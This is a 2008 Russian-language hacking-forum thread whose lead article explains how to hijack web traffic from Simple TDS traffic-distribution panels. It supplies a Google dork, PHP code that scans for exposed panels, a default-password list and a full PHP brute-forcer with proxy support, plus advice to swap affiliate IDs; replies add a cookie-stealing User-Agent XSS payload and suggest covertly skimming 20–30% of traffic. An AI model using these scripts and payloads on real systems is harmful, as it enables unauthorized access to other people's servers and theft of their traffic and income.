Авторские статьи Угон трафика с Tds

Discussion in 'Статьи' started by diehard, 25 Jun 2008.

  1. diehard

    diehard Elder - Старейшина

    Joined:
    30 Sep 2007
    Messages:
    442
    Likes Received:
    266
    Reputations:
    15
    Угон трафика с TDS
    на примере Simple TDS

    [0] ИНТРО

    Ежедневно огромные объемы трафика протекают через множество TDS, но очень часто администраторы TDS (которые по идее должны быть далеко не ламерами) ставят элементарные пароли на админку или вообще оставляют те пароли, которые стояли по умолчанию. Рассмотрим, как можно быстро угнать траф на примере Simple TDS.

    [1] ПРЕЦЕДЕНТ

    Например, недавно на форуме кто-то поднял вопрос о том, что подцепил вирус, который добавляет свою ссылку http://casinopills.com/ukrainskomu_narodu/ ко всем полям ввода в Internet Explorer.
    Ссылка редиректила на casinopills.com/tds/go.php?sid=2 , URL напоминает популярную бесплатную систему управления трафиком Simple TDS, проверим: http://casinopills.com/tds/header.php
    Действительно: Simple TDS v1.1beta (free). (No MySQL version). Вход в админку находится по адресу: http://casinopills.com/tds/index.php
    При этом человек, запустивший вирус в сеть, почему-то не додумался изменить пароль на вход в админку и оставил дефолтовый. Его можно узнать, если скачать движок данной версии с сайта автора, кстати пароль не изменился до сих пор "112233" :)

    [2] ГУГЛ

    Google всегда придет на помощь в поиске уязвимых скриптов и не только, поэтому поможет и сейчас. Что нам нужно - это найти и отпарсить несколько сотен-тысяч ссылок на TDS, поисковый запрос имеет следующий вид: inurl:"go.php?sid="
    Парсер выдачи поисковика можно писать самому или найти в инете. В результате получим массив записей вида http://www.host.com/path/go.php?sid=... , отсюда нужно отрезать все начиная с go.php, после чего провести проверку действительно ли это Simple TDS, проверяя содержится ли сигнатура "Simple TDS" в http://www.host.com/path/header.php

    PHP:
      $url trim($urls[$i]);
      
    $url substr($url7strlen($url));    //cut "http://"
      
    $slash strpos($url"/");         //first slash position
      
    $host substr($url0$slash);
      
    $path substr($url$slashstrlen($url));
      
    $header $path."header.php";
      
    $conn fsockopen($host80$errno$errstr10);
      if (
    $conn){
        
    $out "GET $header HTTP/1.0\r\n";    
        
    $out.= "Host: $host\r\n\r\n";
        
    fwrite($conn$out);
        
    $page="";
        while (!
    feof($conn)){
          
    $page.= fgets($conn128);
          }
        
    fclose($conn);
        if (
    strpos($page"Simple TDS")){
          echo 
    "<b>SimpleTDS found: $host$header</b> <br>\r\n";
          
    flush();
          
    $fout fopen($foutput"a");
          
    fwrite($fout"$host$path\r\n");
          
    fclose($fout);
          
    $i++;
          }
        else{
          echo 
    "not a tds: $host$header <br>\r\n";
          
    flush();
          
    $i++;
          }
        }
      else{
        echo 
    "Error connection $host Waiting 2 sec <br>\r\n";
        
    flush();
        
    sleep(2);
        }
    На выходе получаем список URL всех найденых поисковиком TDS.

    [3] БРУТФОРС

    Прежде чем вести перебор по большим словарям, имеет смысл провести предварительную брут-атаку по дефолтовым паролям, так как часто админы оставляют именно их, не думая, что кому-то всбредет в голову ломиться в их TDS :)
    Итак, составляем небольшой словарик вида

    Code:
    112233
    123456
    admin
    password
    
    После чего напишем функции логина и простейшего брутера по словарю. Например:

    PHP:
    function login($host$path$proxy$pass){ // 0 wrong pass
                     // 1 good pass!
                     // 666 connection error
      
    $cont "pass=".urlencode($pass);
      
    $check "Simple TDS";
      
    $len strlen($cont);
      if (
    strlen($proxy)){
        
    $pr explode(":"$proxy);
        
    $p_host $pr[0];
        
    $p_port $pr[1];
        
    $conn fsockopen($p_host$p_port$errno$errstr30);
        
    $out "POST http://$host$path HTTP/1.0\r\n";    
        
    $out.= "Host: $host\r\n";
        
    $out.= "Content-Type: application/x-www-form-urlencoded\r\n";
        
    $out.= "Content-Length: $len\r\n\r\n";
        
    $out.= $cont;
        }
      else {
        
    $conn fsockopen($host80$errno$errstr30);
        
    $out "POST $path HTTP/1.0\r\n";    
        
    $out.= "Host: $host\r\n";    
        
    $out.= "Content-Type: application/x-www-form-urlencoded\r\n";
        
    $out.= "Content-Length: $len\r\n\r\n";
        
    $out.= $cont;
        }
      if (!
    $conn){
        return 
    666;
        }
      else{
        
    fwrite($conn$out);
        
    $ans="";   
        while(!
    feof($conn)){ 
          
    $ans.=fgets($conn128);   
          }   
        
    //echo $ans;
        
    fclose($conn);
        if(
    strpos($ans$check))
          return 
    1
        else return 
    0;
      }

    }
    PHP:
    $k=0;

    while (
    $k<sizeof($urls)){
      
    $url trim($urls[$k]);
      
    $slash strpos($url"/");         //first slash position
      
    $host substr($url0$slash);
      
    $path substr($url$slashstrlen($url));

      
    $i=0;
      while (
    $i<$count){
        
    $pass trim($passwords[$i]);
        
    $b login($host$path$proxy$pass);
        if       (
    $b==666){ 
                
    writeln("$host Connection error. Pause 2 seconds..."); sleep(2); 
                } 
          elseif (
    $b==0)  { 
                
    $i++; 
                
    writecurr("$host:$passfile:$i");
                
    writelog("trying $host$path:$pass through $proxy - result $b");
                if (
    $i%100==0){ 
                    
    writeln("Tryed ".($i/$count*100)."% ($i of $count)"); 
                    
    writelog("Tryed ".($i/$count*100)."% ($i of $count)"); 
                }; 
                }
          elseif (
    $b==1)  { 
                
    writeln("<b>URL: $host$path PASSWORD: $pass</b>"); 
                
    writelog("success:$host$path:$pass"); 
                
    writegood("$host$path:$pass");
                
    writecurr("$host:stop");
                break; 
                }
        }
      if (
    $b==0){ writeln("$host$path not brutted"); };
      
    $k++;

    }
    [4] АУТРО

    Пока писалась эта заметка, из 90 загнанных в скрипт TDS-ов уже 4 сдались брутеру, так как имели дефолтовые пароли :)
    Что делать с полученными ТДС, я думаю объяснять не надо, совет может быть такой - не перенаправлять сразу же ауты на свою ТДС, а посмотреть куда льётся трафик, возможно там находится партнерка - и достаточно поменять id партнерки на свой.

    P.S. Веб-мастера, следите за своей безопасностью и ставьте сложные пароли!
     
    15 people like this.
  2. satana8920

    satana8920 Палач Античата

    Joined:
    22 Sep 2006
    Messages:
    396
    Likes Received:
    138
    Reputations:
    6
    давай склеивай свой мега какирс скрипт и выкладывай полноценный скрипт
    статья конечно ничего
    но ты описал только одну ТДС (а их огромное количество) так что дописывай статью
    +за старания
     
  3. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    а мне было интересно:)
     
  4. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    мда, из статьи большую часть занимает скрипт брута.
    Если бы тс разбирался в сабже, то знал, что в этой тдс полно багов.

    Производитель simpletds.com
    Продукт Simple TDS v.1.3
    info.php -> phpinfo()

    active xss
    go.php?sid=***
    PHP:
    User-Agent: <script>alert(document.cookie)</script>
    + еще скули, но т.к. из базы мало что интересного выцепишь, активка самая актуальная.
    (c) gibson 0day вроде было когда-то)))

    в принцепе согласен с мнениями, что эти тдс еще нужно найти, т.к. никто их не даст индексировать) да и пассы приведенные наврятли будут использовать.
     
    #4 gibson, 25 Jun 2008
    Last edited: 25 Jun 2008
    2 people like this.
  5. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    у людей с паролем 112233 трафа на тдс не будет. а если и будет, то максимум через пару часов пасс сменят и вы останетесь ни с чем. так что не актуально имхо
     
  6. zerling

    zerling New Member

    Joined:
    4 Jan 2008
    Messages:
    13
    Likes Received:
    0
    Reputations:
    0
    так же в этом плане забавна ТДС Каллисто, в которой нек время назад была серьезная уязвимость в коде авторизации, связанная с перезаписью конфигурационной переменной, хранившей пароль.
    Для прикола шарился по админкам нек. хацкеров, но траф не трогал :)
     
  7. diehard

    diehard Elder - Старейшина

    Joined:
    30 Sep 2007
    Messages:
    442
    Likes Received:
    266
    Reputations:
    15
    http://www.google.com/search?client=opera&rls=ru&q=inurl:%22go.php?sid=%22&sourceid=opera&ie=utf-8&oe=utf-8

    Результати 1 – 10 з приблизно 18,100 на запит inurl:"go.php?sid=".

    :)
     
  8. x-demon

    x-demon Elder - Старейшина

    Joined:
    10 Jun 2007
    Messages:
    315
    Likes Received:
    101
    Reputations:
    46
    Не обращай на психопата внимание. А статья стоящая. Надо будет свою тдску проверить, и закрыть от индексации.
     
  9. diehard

    diehard Elder - Старейшина

    Joined:
    30 Sep 2007
    Messages:
    442
    Likes Received:
    266
    Reputations:
    15
    +++ Вот это хорошая уязвимость :)
    SQL-inj есть в 1.2, наверное и в 1.3 есть, но толку от них мало
     
  10. otmorozok428

    otmorozok428 Banned

    Joined:
    19 Oct 2007
    Messages:
    127
    Likes Received:
    88
    Reputations:
    17
    Не совсем представительный запрос - он выдаёт не количество TDS, а количество схем на TDS + "мусор". А если сделать запрос inurl:"go.php?sid=1", будет уже совсем другая цифра, хотя тоже, естественно, с некоторой погрешностью... У меня гугль показал: Результаты 1 - 10 из примерно 593 для inurl:"go.php?sid=1". Согласись, совсем другой порядок цифр...


    Наверное, не самый лучший совет. Админ быстро пропалит отсутствие траффика на схеме (партнерке) и выкинет нас с TDS-ки, заодно поменяв пароль на админку. Всё что мы сможем поиметь в таком случае - это трафик за 1-2 дня, игра не стоит свеч.

    Более умным решением было бы внести изменения в код TDS-ки (она же с открытым кодом в конце концов) и НЕЗАМЕТНО перенаправлять ЧАСТЬ трафика (скажем, процентов 20-30) на свои нужды.

    Ещё хотелось бы добавить, что Simple TDS - это TDS скорее для начинающих веб-мастеров и наврядли здесь можно будет поднять какие-либо серьёзные объемы трафа.

    А так, молодец - тему интересную поднял...
     
  11. Nocturnal

    Nocturnal New Member

    Joined:
    29 Feb 2008
    Messages:
    16
    Likes Received:
    1
    Reputations:
    0
    народ, как прикрыть уязвимость?
     
  12. n4e/\@

    n4e/\@ Elder - Старейшина

    Joined:
    6 May 2008
    Messages:
    138
    Likes Received:
    17
    Reputations:
    0
    Кто нибудь собрал брутер? Если да то выложите полный скрипт. Из того что в первом посте самому собрать не получилось.
     
  13. _Sniper_

    _Sniper_ Banned

    Joined:
    21 Jul 2007
    Messages:
    409
    Likes Received:
    147
    Reputations:
    -17
    В роботс.тхт прописать пару строк чтоб поисковики не индексили..и сменить дефолтный пасс.
     
  14. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Лучше уж в .htaccess :D
     
  15. masternet

    masternet Elder - Старейшина

    Joined:
    18 May 2008
    Messages:
    58
    Likes Received:
    43
    Reputations:
    0
    это активка разве?не пассивка ли?
     
  16. gisTy

    gisTy Elder - Старейшина

    Joined:
    24 May 2008
    Messages:
    432
    Likes Received:
    160
    Reputations:
    27
    как раз таки активка, юзерагент заносится в базу и потом выводится админу
     
  17. masternet

    masternet Elder - Старейшина

    Joined:
    18 May 2008
    Messages:
    58
    Likes Received:
    43
    Reputations:
    0
    ну и чо?челу ведь надо перейти по кривому линку..по мойму активка когда например жертве просто надо зайти в темку какую нить(где в бб тегах уязвимость)..
     
  18. neofoks

    neofoks Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    дайте ктото скрипт подбора паролей
    к тдс.
     
  19. gisTy

    gisTy Elder - Старейшина

    Joined:
    24 May 2008
    Messages:
    432
    Likes Received:
    160
    Reputations:
    27
    какой кривой линк? ты о чем?
    ты составляешь пакет, где в юзер-агент заносишь скрипт нужный, и заходишь на тдску.. юзер-агент сохраняется на тдске и потом когда админ зайдет, то ему выведется твой юзер-агент в общем списке... и чем это не активка?
     
  20. diehard

    diehard Elder - Старейшина

    Joined:
    30 Sep 2007
    Messages:
    442
    Likes Received:
    266
    Reputations:
    15
    Линк вовсе не кривой, ведь хсс в статистике, все заглядывают туда. Кстати, автору скрипта еще давно отписал по поводу дырок в его скрипте, но вместо того чтоб их позакрывать (10 минут дела), он накатал на своём сайте предупреждение о злых хацкерах : http://simpletds.com/node/149